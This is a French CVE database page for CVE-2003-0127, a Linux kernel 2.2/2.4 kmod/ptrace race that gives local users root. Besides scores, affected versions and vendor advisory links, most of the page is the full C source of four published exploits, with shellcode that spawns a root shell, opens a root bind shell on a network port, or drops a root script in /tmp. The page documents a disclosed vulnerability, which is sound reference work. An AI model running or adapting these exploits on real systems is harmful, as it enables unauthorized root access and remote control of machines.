CVE-2003-0127 : Détail

CVE-2003-0127

0.07%V3
Local
2003-03-18
04h00 +00:00
2017-10-09
22h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The kernel module loader in Linux kernel 2.2.x before 2.2.25, and 2.4.x before 2.4.21, allows local users to gain root privileges by using ptrace to attach to a child process that is spawned by the kernel.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 3

Date de publication : 2003-03-29 23h00 +00:00
Auteur : Wojciech Purczynski
EDB Vérifié : Yes

/* * Linux kernel ptrace/kmod local root exploit * * This code exploits a race condition in kernel/kmod.c, which creates * kernel thread in insecure manner. This bug allows to ptrace cloned * process, allowing to take control over privileged modprobe binary. * * Should work under all current 2.2.x and 2.4.x kernels. * * I discovered this stupid bug independently on January 25, 2003, that * is (almost) two month before it was fixed and published by Red Hat * and others. * * Wojciech Purczynski <[email protected]> * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY * * (c) 2003 Copyright by iSEC Security Research */ #include <grp.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <paths.h> #include <string.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> #include <sys/wait.h> #include <sys/stat.h> #include <sys/param.h> #include <sys/types.h> #include <sys/ptrace.h> #include <sys/socket.h> #include <linux/user.h> char cliphcode[] = "\x90\x90\xeb\x1f\xb8\xb6\x00\x00" "\x00\x5b\x31\xc9\x89\xca\xcd\x80" "\xb8\x0f\x00\x00\x00\xb9\xed\x0d" "\x00\x00\xcd\x80\x89\xd0\x89\xd3" "\x40\xcd\x80\xe8\xdc\xff\xff\xff"; #define CODE_SIZE (sizeof(cliphcode) - 1) pid_t parent = 1; pid_t child = 1; pid_t victim = 1; volatile int gotchild = 0; void fatal(char * msg) { perror(msg); kill(parent, SIGKILL); kill(child, SIGKILL); kill(victim, SIGKILL); } void putcode(unsigned long * dst) { char buf[MAXPATHLEN + CODE_SIZE]; unsigned long * src; int i, len; memcpy(buf, cliphcode, CODE_SIZE); len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1); if (len == -1) fatal("[-] Unable to read /proc/self/exe"); len += CODE_SIZE + 1; buf[len] = '\0'; src = (unsigned long*) buf; for (i = 0; i < len; i += 4) if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1) fatal("[-] Unable to write shellcode"); } void sigchld(int signo) { struct user_regs_struct regs; if (gotchild++ == 0) return; fprintf(stderr, "[+] Signal caught\n"); if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1) fatal("[-] Unable to read registers"); fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip); putcode((unsigned long *)regs.eip); fprintf(stderr, "[+] Now wait for suid shell...\n"); if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1) fatal("[-] Unable to detach from victim"); exit(0); } void sigalrm(int signo) { errno = ECANCELED; fatal("[-] Fatal error"); } void do_child(void) { int err; child = getpid(); victim = child + 1; signal(SIGCHLD, sigchld); do err = ptrace(PTRACE_ATTACH, victim, 0, 0); while (err == -1 && errno == ESRCH); if (err == -1) fatal("[-] Unable to attach"); fprintf(stderr, "[+] Attached to %d\n", victim); while (!gotchild) ; if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1) fatal("[-] Unable to setup syscall trace"); fprintf(stderr, "[+] Waiting for signal\n"); for(;;); } void do_parent(char * progname) { struct stat st; int err; errno = 0; socket(AF_SECURITY, SOCK_STREAM, 1); do { err = stat(progname, &st); } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID); if (err == -1) fatal("[-] Unable to stat myself"); alarm(0); system(progname); } void prepare(void) { if (geteuid() == 0) { initgroups("root", 0); setgid(0); setuid(0); execl(_PATH_BSHELL, _PATH_BSHELL, NULL); fatal("[-] Unable to spawn shell"); } } int main(int argc, char ** argv) { prepare(); signal(SIGALRM, sigalrm); alarm(10); parent = getpid(); child = fork(); victim = child + 1; if (child == -1) fatal("[-] Unable to fork"); if (child == 0) do_child(); else do_parent(argv[0]); return 0; } // milw0rm.com [2003-03-30]
Exploit Database EDB-ID : 22362

Date de publication : 2003-03-16 23h00 +00:00
Auteur : [email protected]
EDB Vérifié : Yes

/* source: https://www.securityfocus.com/bid/7112/info A vulnerability has been discovered in the Linux kernel which can be exploited using the ptrace() system call. By attaching to an incorrectly configured root process, during a specific time window, it may be possible for an attacker to gain superuser privileges. The problem occurs due to the kernel failing to restrict trace permissions on specific root spawned processes. This vulnerability affects both the 2.2 and 2.4 Linux kernel trees. */ /* lame, oversophisticated local root exploit for kmod/ptrace bug in linux * 2.2 and 2.4 * * have fun */ #define ANY_SUID "/usr/bin/passwd" #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/ptrace.h> #include <linux/user.h> #include <signal.h> #include <fcntl.h> #include <sys/wait.h> #include <sys/stat.h> #include <asm/ioctls.h> #include <getopt.h> // user settings: int randpids=0; #define M_SIMPLE 0 #define M_DOUBLE 1 #define M_BIND 2 int mode=M_SIMPLE; char * bin=NULL; struct stat me; int chldpid; int hackpid; // flags int sf=0; int u2=0; void killed(int a) { u2=1; } void synch(int x){ sf=1; } // shellcode to inject unsigned char shcode[1024]; char ptrace_code[]="\x31\xc0\xb0\x1a\x31\xdb\xb3\x10\x89\xf9" "\xcd\x80\x85\xc0\x75\x41\xb0\x72\x89\xfb\x31\xc9\x31\xd2\x31\xf6" "\xcd\x80\x31\xc0\xb0\x1a\x31\xdb\xb3\x03\x89\xf9\xb2\x30\x89\xe6" "\xcd\x80\x8b\x14\x24\xeb\x36\x5d\x31\xc0\xb0\xFF\x89\xc7\x83\xc5" "\xfc\x8b\x75\x04\x31\xc0\xb0\x1a\xb3\x04\xcd\x80\x4f\x83\xed\xfc" "\x83\xea\xfc\x85\xff\x75\xea\x31\xc0\xb0\x1a\x31\xdb\xb3\x11\x31" "\xd2\x31\xf6\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xc5\xff" "\xff\xff"; char execve_tty_code[]= "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80\x31\xc0\x50\x68" "\x2f\x74\x74\x79\x68\x2f\x64\x65\x76\x89\xe3\xb0\x05\x31\xc9\x66" "\xb9\x41\x04\x31\xd2\x66\xba\xa4\x01\xcd\x80\x89\xc3\x31\xc0\xb0" "\x3f\x31\xc9\xb1\x01\xcd\x80\x31\xc0\x50\xeb\x13\x89\xe1\x8d\x54" "\x24\x04\x5b\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8" "\xe8\xff\xff\xff"; char execve_code[]="\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80\xb0\x46" "\x31\xc0\x50\xeb\x13\x89\xe1\x8d\x54\x24\x04\x5b\xb0\x0b\xcd\x80" "\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe8\xff\xff\xff"; char bind_code[]= "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80\x31\xc0\x50\x40" "\x50\x40\x50\x8d\x58\xff\x89\xe1\xb0\x66\xcd\x80\x83\xec\xf4\x89" "\xc7\x31\xc0\xb0\x04\x50\x89\xe0\x83\xc0\xf4\x50\x31\xc0\xb0\x02" "\x50\x48\x50\x57\x31\xdb\xb3\x0e\x89\xe1\xb0\x66\xcd\x80\x83\xec" "\xec\x31\xc0\x50\x66\xb8\x10\x10\xc1\xe0\x10\xb0\x02\x50\x89\xe6" "\x31\xc0\xb0\x10\x50\x56\x57\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x83" "\xec\xec\x85\xc0\x75\x59\xb0\x01\x50\x57\x89\xe1\xb0\x66\xb3\x04" "\xcd\x80\x83\xec\xf8\x31\xc0\x50\x50\x57\x89\xe1\xb0\x66\xb3\x05" "\xcd\x80\x89\xc3\x83\xec\xf4\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74" "\x08\x31\xc0\xb0\x06\xcd\x80\xeb\xdc\x31\xc0\xb0\x3f\x31\xc9\xcd" "\x80\x31\xc0\xb0\x3f\x41\xcd\x80\x31\xc0\xb0\x3f\x41\xcd\x80\x31" "\xc0\x50\xeb\x13\x89\xe1\x8d\x54\x24\x04\x5b\xb0\x0b\xcd\x80\x31" "\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe8\xff\xff\xff"; // generate shellcode that sets %edi to pid int pidcode(unsigned char * tgt, unsigned short pid) { fprintf(stderr, "pid=%d=0x%08x\n", pid, pid); tgt[0]=0x31; tgt[1]=0xff; tgt+=2; if((pid & 0xff) && (pid & 0xff00)){ tgt[0]=0x66; tgt[1]=0xbf; *((unsigned short*)(tgt+2))=pid; return 6; }else{ int n=2; if(pid & 0xff00){ tgt[0]=0xB0; tgt[1]=(pid>>8); tgt+=2; n+=2; } memcpy(tgt,"\xC1\xE0\x08", 3); tgt+=3; n+=3; if(pid & 0xff){ tgt[0]=0xB0; tgt[1]=pid; tgt+=2; n+=2; } tgt[0]=0x89; tgt[1]=0xC7; return n+2; } } void mkcode(unsigned short pid) { int i=0; unsigned char *c=shcode; c+=pidcode(c, pid); strcpy(c, ptrace_code); c[53]=(sizeof(execve_code)+strlen(bin)+4)/4; strcat(c, execve_code); strcat(c, bin); } //------------------------ void hack(int pid) { int i; struct user_regs_struct r; char b1[100]; struct stat st; int len=strlen(shcode); if(kill(pid, 0)) return; sprintf(b1, "/proc/%d/exe", pid); if(stat(b1, &st)) return; if(st.st_ino!=me.st_ino || st.st_dev!=me.st_dev) return; if(ptrace(PTRACE_ATTACH, pid, 0, 0)) return; while(ptrace(PTRACE_GETREGS, pid, NULL, &r)); fprintf(stderr, "\033[1;33m+ %d\033[0m\n", pid); if(ptrace(PTRACE_SYSCALL, pid, 0, 0)) goto fail; while(ptrace(PTRACE_GETREGS, pid, NULL, &r)); for (i=0; i<=len; i+=4) if(ptrace(PTRACE_POKETEXT, pid, r.eip+i, *(int*)(shcode+i))) goto fail; kill(chldpid, 9); ptrace(PTRACE_DETACH, pid, 0, 0); fprintf(stderr, "\033[1;32m- %d ok!\033[0m\n", pid); if(mode==M_DOUBLE){ char commands[1024]; char * c=commands; kill(hackpid, SIGCONT); sprintf(commands, "\nexport TERM='%s'\nreset\nid\n", getenv("TERM")); while(*c) { ioctl(0, TIOCSTI, c++); } waitpid(hackpid, 0, 0); } exit(0); fail: ptrace(PTRACE_DETACH, pid, 0, 0); kill(pid, SIGCONT); } void usage(char * cmd) { fprintf(stderr, "Usage: %s [-d] [-b] [-r] [-s] [-c executable]\n" "\t-d\t-- use double-ptrace method (to run interactive programs)\n" "\t-b\t-- start bindshell on port 4112\n" "\t-r\t-- support randomized pids\n" "\t-c\t-- choose executable to start\n" "\t-s\t-- single-shot mode - abort if unsuccessful at the first try\n", cmd); exit(0); } int main(int ac, char ** av, char ** env) { int single=0; char c; int mypid=getpid(); fprintf(stderr, "Linux kmod + ptrace local root exploit by <[email protected]>\n\n"); if(stat("/proc/self/exe", &me) && stat(av[0], &me)){ perror("stat(myself)"); return 0; } while((c=getopt(ac, av, "sbdrc:"))!=EOF) switch(c) { case 'd': mode=M_DOUBLE; break; case 'b': mode=M_BIND; break; case 'r': randpids=1; break; case 'c': bin=optarg; break; case 's': single=1; break; default: usage(av[0]); } if(ac!=optind) usage(av[0]); if(!bin){ if(mode!=M_SIMPLE) bin="/bin/sh"; else{ struct stat qpa; if(stat((bin="/bin/id"), &qpa)) bin="/usr/bin/id"; } } signal(SIGUSR1, synch); hackpid=0; switch(mode){ case M_SIMPLE: fprintf(stderr, "=> Simple mode, executing %s > /dev/tty\n", bin); strcpy(shcode, execve_tty_code); strcat(shcode, bin); break; case M_DOUBLE: fprintf(stderr, "=> Double-ptrace mode, executing %s, suid-helper %s\n", bin, ANY_SUID); if((hackpid=fork())==0){ char *ble[]={ANY_SUID, NULL}; fprintf(stderr, "Starting suid program %s\n", ANY_SUID); kill(getppid(), SIGUSR1); execve(ble[0], ble, env); kill(getppid(), 9); perror("execve(SUID)"); _exit(0); } while(!sf); usleep(100000); kill(hackpid, SIGSTOP); mkcode(hackpid); break; case M_BIND: fprintf(stderr, "=> portbind mode, executing %s on port 4112\n", bin); strcpy(shcode, bind_code); strcat(shcode, bin); break; } fprintf(stderr, "sizeof(shellcode)=%d\n", strlen(shcode)); signal(SIGUSR2, killed); if(randpids){ fprintf(stderr, "\033[1;31m" "Randomized pids support enabled... be patient or load the system heavily,\n" "this method does more brute-forcing\033[0m\n"); } again: sf=0; if((chldpid=fork())==0){ int q; kill(getppid(), SIGUSR1); while(!sf); fprintf(stderr, "=> Child process started"); for(q=0;q<10;++q){ fprintf(stderr, "."); socket(22,0,0); } fprintf(stderr, "\n"); kill(getppid(), SIGUSR2); _exit(0); } while(!sf); kill(chldpid, SIGUSR1); for(;;){ int q; if(randpids){ for(q=1;q<30000;++q) if(q!=chldpid && q!=mypid && q!=hackpid) hack(q); }else{ for(q=chldpid+1;q<chldpid+10;q++) hack(q); } if(u2){ u2=0; if(single) break; goto again; } } fprintf(stderr, "Failed\n"); return 1; } // M$ sucks // // http://bezkitu.com/
Exploit Database EDB-ID : 22363

Date de publication : 2003-04-09 22h00 +00:00
Auteur : Wojciech Purczynski
EDB Vérifié : Yes

/* source: https://www.securityfocus.com/bid/7112/info A vulnerability has been discovered in the Linux kernel which can be exploited using the ptrace() system call. By attaching to an incorrectly configured root process, during a specific time window, it may be possible for an attacker to gain superuser privileges. The problem occurs due to the kernel failing to restrict trace permissions on specific root spawned processes. This vulnerability affects both the 2.2 and 2.4 Linux kernel trees. */ /* * Author: snooq [http://www.angelfire.com/linux/snooq/] * Date: 10 April 2003 * * Wojciech Purczynski [ [email protected] ], says (in his code): * * [quote] * This code exploits a race condition in kernel/kmod.c, which creates * kernel thread in insecure manner. This bug allows to ptrace cloned * process, allowing to take control over privileged modprobe binary. * [/quote] * * For more info: http://www.securiteam.com/unixfocus/5FP0A2K9GQ.html * * Temp fix --> echo XXX /proc/sys/kernel/modprobe * * I've seen somewhere... somebody suggested 'chmod 700 /proc' as a quick * fix.... * * The truth is... 'chmod 700 /proc' does not close the hole. * It merely cripple the exploit... which reads /proc entries * * The flaw is still exploitable without 'rwx' to /proc.. * * Having said all these craps.... I must say that I'm still a newbie to * kernel stuffs.... and I think my code looks really ugly too.... * * so... if you r not happy wif the way I code.. or any suggestions for me.. * or even flames.... direct them to jinyean_at_hotmail_dot_com * * Well.. I dun usually do this.. but I will do it this time... * Greetz.. my team mates??? Nam, JF & ET?? haha... * * just wanna thank u for reading these craps.. * and to ET.. maybe next time.. I could join u as a kernel hacker... =p * * Notes: * ====== * 1. There are at least 2 versions of exploit out there.. * ie, Wojciech's and anszom's... * * 2. The way I exploit it is no diff from both except: * -> mine is one attempt per run. Script it, if u need to * -> bind port instead of spawn shell.. * -> dun bother to read /proc entries * -> not as feature rich as anszom's * -> not as reliable.... etc... etc.. * * 3. I coded this as an exercise.. as a way to learn bout kernel internals * * 4. Lastly, credits go to Wojciech and anszom. * */ #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <string.h> #include <stdlib.h> #include <signal.h> #include <sys/wait.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ptrace.h> #include <sys/socket.h> #include <linux/user.h> /* For user_regs_struct */ #define SIZE (sizeof(shellcode)-1) pid_t parent=0; pid_t child=0; pid_t k_child=0; static int sigc=0; /* Port binding shellcode, courtesy of <[email protected]> I just changed the port no..... =p */ char shellcode[]= "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80\x31\xc0\x50\x40" "\x50\x40\x50\x8d\x58\xff\x89\xe1\xb0\x66\xcd\x80\x83\xec\xf4\x89" "\xc7\x31\xc0\xb0\x04\x50\x89\xe0\x83\xc0\xf4\x50\x31\xc0\xb0\x02" "\x50\x48\x50\x57\x31\xdb\xb3\x0e\x89\xe1\xb0\x66\xcd\x80\x83\xec" "\xec\x31\xc0\x50\x66\xb8\x61\x2c\xc1\xe0\x10\xb0\x02\x50\x89\xe6" "\x31\xc0\xb0\x10\x50\x56\x57\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x83" "\xec\xec\x85\xc0\x75\x59\xb0\x01\x50\x57\x89\xe1\xb0\x66\xb3\x04" "\xcd\x80\x83\xec\xf8\x31\xc0\x50\x50\x57\x89\xe1\xb0\x66\xb3\x05" "\xcd\x80\x89\xc3\x83\xec\xf4\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74" "\x08\x31\xc0\xb0\x06\xcd\x80\xeb\xdc\x31\xc0\xb0\x3f\x31\xc9\xcd" "\x80\x31\xc0\xb0\x3f\x41\xcd\x80\x31\xc0\xb0\x3f\x41\xcd\x80\x31" "\xc0\x50\xeb\x13\x89\xe1\x8d\x54\x24\x04\x5b\xb0\x0b\xcd\x80\x31" "\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe8\xff\xff\xff/bin/sh"; void sigchld() { sigc++; return; } void sigalrm() { fprintf(stderr,"-> Something wrong and it timeout.\n"); exit(0); } main(int argc, char *argv[]) { int i, error; pid_t pid; struct user_regs_struct regs; /* Registers Structure */ parent=getpid(); switch (pid=fork()) { case -1: perror("Can't fork(): "); break; case 0: /* Child's thread -- The attacking thread. */ child=getpid(); k_child=child+1; /* Kernel child's PID... Hopefully.. */ fprintf(stderr, "-> Parent's PID is %d. Child's PID is %d.\n", parent, child); fprintf(stderr, "-> Attaching to %d...", k_child); /* Trying to attach to the child spawned by the kernel, which has both euid and egid set to 0. Child will be sent a SIGSTOP and we, the 'parent', will get a SIGCHLD. This process is not immediate. Hence, we need to wait before we continue. Otherwise, we will fail controlling the thread. */ signal(SIGCHLD,sigchld); signal(SIGALRM,sigalrm); alarm(10); while ((error=ptrace(PTRACE_ATTACH,k_child,0,0)==-1) && (errno==ESRCH)) { fprintf(stderr, "."); } if (error==-1) { fprintf(stderr,"-> Unable to attach to %d.\n",k_child); exit(0); } fprintf(stderr, "\n-> Got the thread!!\n"); /* Waiting for the firt SIGCHLD, which signals the end of the attaching action. */ while(sigc<1); if (ptrace(PTRACE_SYSCALL,k_child,0,0)==-1) { fprintf(stderr,"-> Unable to setup syscall trace.\n"); exit(0); } /* The thread is under our control now. Will wail for the next signal to inject our own code. */ fprintf(stderr,"-> Waiting for the next signal...\n"); while(sigc<2); if (ptrace(PTRACE_GETREGS,k_child,NULL,&regs)==-1) { perror("-> Unable to read registers: "); } fprintf(stderr, "-> Injecting shellcode at 0x%08x\n",regs.eip); for (i=0; i<=SIZE; i+=4) { if( ptrace(PTRACE_POKETEXT,k_child,regs.eip+i,*(int*)(shellcode+i))) {} } fprintf(stderr, "-> Bind root shell on port 24876... =p\n"); /* All done. It's time to leave 'our' poor child alone.... ;) and get ready to kill ourselves... */ if (ptrace(PTRACE_DETACH,k_child,0,0)==-1) { perror("-> Unable to detach from modprobe thread: "); } fprintf(stderr, "-> Detached from modprobe thread.\n"); fprintf(stderr, "-> Committing suicide.....\n"); if (kill(parent,9)==-1) { /* This is really ugly..... */ perror("-> We survived??!!?? "); } /* We should be dead by now. */ exit(0); break; default: /* Parent's thread -- The vulnerable call */ /* Now, the parent is requesting a feature in a kernel module. Such action will trigger the kernel to spawn a child with euid=0, egid=0.... Voila!!! NB: See <linux/socket.h> for more info. */ signal(SIGALRM,sigalrm); alarm(10); socket(AF_SECURITY,SOCK_STREAM,1); break; } exit(0); }
Exploit Database EDB-ID : 12

Date de publication : 2003-04-13 22h00 +00:00
Auteur : KuRaK
EDB Vérifié : Yes

/*********************************************** * * Linux Kernel Module Loader Local R00t Exploit * Up to 2.4.20 * By anonymous KuRaK * ************************************************ #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <fcntl.h> #include <errno.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/ptrace.h> #include <sys/wait.h> #include <sys/mman.h> #include <sys/time.h> #include <linux/user.h> #define TMPSIZE 4096 #define FMAX 768 #define UIDNUM 6 #define MMSIZE (4096*1) #define MAXSTACK 0xc0000000 // where to put the root script #define SHELL "/tmp/w00w00w" // what to open to run modprobe #define ENTRY "/dev/dsp3" struct uids { unsigned uid; unsigned euid; unsigned suid; unsigned fsuid; }; // thanks to the epcs2.c code :-)) char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x31\xc0\x31\ xdb\xb0\x17\xcd\x80" /* setuid(0) */ "\x31\xc0\xb0\x2e\xcd\x80" "\x31\xc0\x50\xeb\x17\x8b\x1c\x24" /* execve(SHELL) */ "\x90\x90\x90\x89\xe1\x8d\x54\x24" /* lets be tricky */ "\x04\xb0\x0b\xcd\x80\x31\xc0\x89" "\xc3\x40\xcd\x80\xe8\xe4\xff\xff" "\xff" SHELL "\x00\x00\x00\x00"; // payload... char *shellcmd = "#!/bin/sh\nid|wall\necho \"Your kernel is buggy\"|wall"; volatile int sig = 0; volatile struct user_regs_struct regs; void sighnd(int v) { sig++; } void fatal(const char *msg) { printf("\n"); if (!errno) { fprintf(stderr, "FATAL ERROR: %s\n", msg); } else { perror(msg); } printf("\n"); fflush(stdout); fflush(stderr); exit(129); } void exploit(int pid) { int i; if (ptrace(PTRACE_GETREGS, pid, 0, &regs)) fatal("ptrace: PTRACE_GETREGS"); for (i = 0; i <= sizeof(shellcode); i += 4) { if (ptrace (PTRACE_POKETEXT, pid, regs.eip + i, *(int *) (shellcode + i))) fatal("ptrace: PTRACE_POKETEXT"); } if (ptrace(PTRACE_SETREGS, pid, 0, &regs)) fatal("ptrace: PTRACE_SETREGS"); ptrace(PTRACE_DETACH, pid, 0, 0); kill(pid, SIGCONT); } int get_ids(FILE * fp, struct uids *uids) { int i; char tmp[TMPSIZE]; fseek(fp, 0, SEEK_SET); for (i = 0; i < UIDNUM; i++) fgets(tmp, sizeof(tmp), fp); return fscanf(fp, "Uid: %u %u %u %u", &uids->uid, &uids->euid, &uids->suid, &uids->fsuid); } int main(int ac, char **av) { int fd, pid, p, i; char buf[TMPSIZE]; struct uids uids; FILE *fp; setpgrp(); setsid(); umask(022); unlink(SHELL); fd = open(SHELL, O_RDWR | O_CREAT | O_TRUNC, 0755); fp = fdopen(fd, "w+"); fprintf(fp, "%s\n", shellcmd); fclose(fp); pid = getpid() + 2; snprintf(buf, sizeof(buf) - 1, "/proc/%d/status", pid); printf("\nModprobe pid %d, my pid %d", pid, getpid()); fflush(stdout); signal(SIGUSR1, sighnd); // fork modprobe helper if (!(p = fork())) { // some nice work for exec_usermodehelper(), keep it busy! for (i = 0; i < FMAX; i++) { fd = open("/dev/zero", O_RDWR); mmap(NULL, MMSIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0); } kill(getppid(), SIGUSR1); while (!sig); printf("\nHelper (pid %d) requesting module...", getpid()); fflush(stdout); fd = open(ENTRY, O_RDONLY | O_NONBLOCK); exit(0); } // synchronize with the child else { while (!sig); kill(p, SIGUSR1); // wait for modprobe to run at unprivileged level while (1) { fd = open(buf, O_RDONLY); if (fd > 0) { if (!(fp = fdopen(fd, "r"))) fatal("fdopen"); if (get_ids(fp, &uids) != 4 || (uids.uid != uids.euid || uids.uid != uids.suid || uids.uid != uids.fsuid)) { fatal("did not catch modprobe...try again later :-)"); } // ok, it runs... while (1) { if (ptrace(PTRACE_ATTACH, pid, NULL, NULL)) { fatal("PTRACE_ATTACH failed!"); } else { i = 0; printf("\nAttached afterburner...\n"); fflush(stdout); while (ptrace(PTRACE_GETREGS, pid, 0, &regs) || !regs.eip || regs.eip >= MAXSTACK) { ptrace(PTRACE_SYSCALL, pid, NULL, NULL); printf("\rplease wait %d", i++); fflush(stdout); } waitpid(pid, NULL, WUNTRACED); printf ("\nValid EIP found EIP=%p\nexploiting the bug, good luck... ", regs.eip); fflush(stdout); exploit(pid); exit(0); } } fclose(fp); } } } return 0; } // milw0rm.com [2003-04-14]

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version 2.2.0

Linux>>Linux_kernel >> Version 2.2.1

Linux>>Linux_kernel >> Version 2.2.2

Linux>>Linux_kernel >> Version 2.2.3

Linux>>Linux_kernel >> Version 2.2.4

Linux>>Linux_kernel >> Version 2.2.5

Linux>>Linux_kernel >> Version 2.2.6

Linux>>Linux_kernel >> Version 2.2.7

Linux>>Linux_kernel >> Version 2.2.8

Linux>>Linux_kernel >> Version 2.2.9

Linux>>Linux_kernel >> Version 2.2.10

Linux>>Linux_kernel >> Version 2.2.11

Linux>>Linux_kernel >> Version 2.2.12

Linux>>Linux_kernel >> Version 2.2.13

Linux>>Linux_kernel >> Version 2.2.14

Linux>>Linux_kernel >> Version 2.2.15

Linux>>Linux_kernel >> Version 2.2.16

Linux>>Linux_kernel >> Version 2.2.17

Linux>>Linux_kernel >> Version 2.2.18

Linux>>Linux_kernel >> Version 2.2.19

Linux>>Linux_kernel >> Version 2.2.20

Linux>>Linux_kernel >> Version 2.2.21

Linux>>Linux_kernel >> Version 2.2.22

Linux>>Linux_kernel >> Version 2.2.23

Linux>>Linux_kernel >> Version 2.2.24

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.1

Linux>>Linux_kernel >> Version 2.4.2

Linux>>Linux_kernel >> Version 2.4.3

Linux>>Linux_kernel >> Version 2.4.4

Linux>>Linux_kernel >> Version 2.4.5

Linux>>Linux_kernel >> Version 2.4.6

Linux>>Linux_kernel >> Version 2.4.7

Linux>>Linux_kernel >> Version 2.4.8

Linux>>Linux_kernel >> Version 2.4.9

Linux>>Linux_kernel >> Version 2.4.10

Linux>>Linux_kernel >> Version 2.4.11

Linux>>Linux_kernel >> Version 2.4.12

Linux>>Linux_kernel >> Version 2.4.13

Linux>>Linux_kernel >> Version 2.4.14

Linux>>Linux_kernel >> Version 2.4.15

Linux>>Linux_kernel >> Version 2.4.16

Linux>>Linux_kernel >> Version 2.4.17

Linux>>Linux_kernel >> Version 2.4.18

Linux>>Linux_kernel >> Version 2.4.19

Linux>>Linux_kernel >> Version 2.4.20

Linux>>Linux_kernel >> Version 2.4.21

Références

http://www.redhat.com/support/errata/RHSA-2003-103.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2003-088.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.debian.org/security/2003/dsa-270
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.debian.org/security/2004/dsa-423
Tags : vendor-advisory, x_refsource_DEBIAN
http://rhn.redhat.com/errata/RHSA-2003-098.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.debian.org/security/2003/dsa-336
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.debian.org/security/2003/dsa-276
Tags : vendor-advisory, x_refsource_DEBIAN
http://marc.info/?l=bugtraq&m=105301461726555&w=2
Tags : vendor-advisory, x_refsource_ENGARDE
http://www.mandriva.com/security/advisories?name=MDKSA-2003:039
Tags : vendor-advisory, x_refsource_MANDRAKE
http://www.debian.org/security/2004/dsa-495
Tags : vendor-advisory, x_refsource_DEBIAN
http://security.gentoo.org/glsa/glsa-200303-17.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://www.debian.org/security/2003/dsa-311
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.debian.org/security/2003/dsa-332
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.redhat.com/support/errata/RHSA-2003-145.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.mandriva.com/security/advisories?name=MDKSA-2003:038
Tags : vendor-advisory, x_refsource_MANDRAKE
http://www.debian.org/security/2003/dsa-312
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.kb.cert.org/vuls/id/628849
Tags : third-party-advisory, x_refsource_CERT-VN